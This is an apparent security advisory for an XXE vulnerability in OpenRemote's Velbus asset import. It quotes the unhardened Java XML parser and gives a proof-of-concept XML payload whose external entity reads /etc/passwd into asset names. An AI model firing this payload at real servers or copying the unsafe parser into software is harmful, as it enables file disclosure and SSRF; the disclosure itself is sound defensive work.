CVE-2026-40882: OpenRemote has XXE in Velbus Asset Import

Summary The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.

Details Velbus import uses DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...) on untrusted XML input, without explicit safeguards to disable DTD/external entities.

154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java @Override public Future<Void> startAssetImport(byte[] fileData, Consumer<AssetTreeNode[]> assetConsumer) {

return executorService.submit(() -> { Document xmlDoc; try { String xmlStr = new String(fileData, StandardCharsets.UTF8); LOG.info("Parsing VELBUS project file");

xmlDoc = DocumentBuilderFactory .newInstance() .newDocumentBuilder() .parse(new InputSource(new StringReader(xmlStr)));

Expanded Caption content is propagated into created asset names:

193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java String name = module.getElementsByTagName("Caption").item(0).getTextContent(); name = isNullOrEmpty(name) ? deviceType.toString() : name;

// TODO: Use device specific asset types Asset<?> device = new ThingAsset(name);

PoC 1. Log in to a realm with a user that can call Velbus asset import. 2. Create/select a Velbus TCP Agent in that same realm. 3. Send POST /api/{realm}/agent/assetImport/{agentId} with a Velbus project XML payload and compare behavior against a baseline import file. 3. Save the below code as a xxe.xml and upload to Setup under https://localhost/manager/?realm=<YOURREALM>#/assets/false/<ASSETID>. Chnage the file:///etc/passwd to another file if your passwd is longer than 1023 characters. xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE velbus [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <Project> <Module type="VMB1RY" address="01" build="00" serial="LAB"> <Caption>&xxe;</Caption> </Module> </Project>

As long as the file content is under 1023 characters, the exploit will succeed. <img width="1200" height="662" alt="image" src="https://github.com/user-attachments/assets/213f063d-98b6-4717-b98c-f4255952026b" />

If the file content reaches the limit, an error is thrown. <img width="1200" height="630" alt="image" src="https://github.com/user-attachments/assets/ee177a6b-2cb2-48ae-94df-c994ecb41429" />

Impact - Type: XML External Entity (XXE) - Affected: Deployments exposing Velbus import to authenticated users with import access - Risk: limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.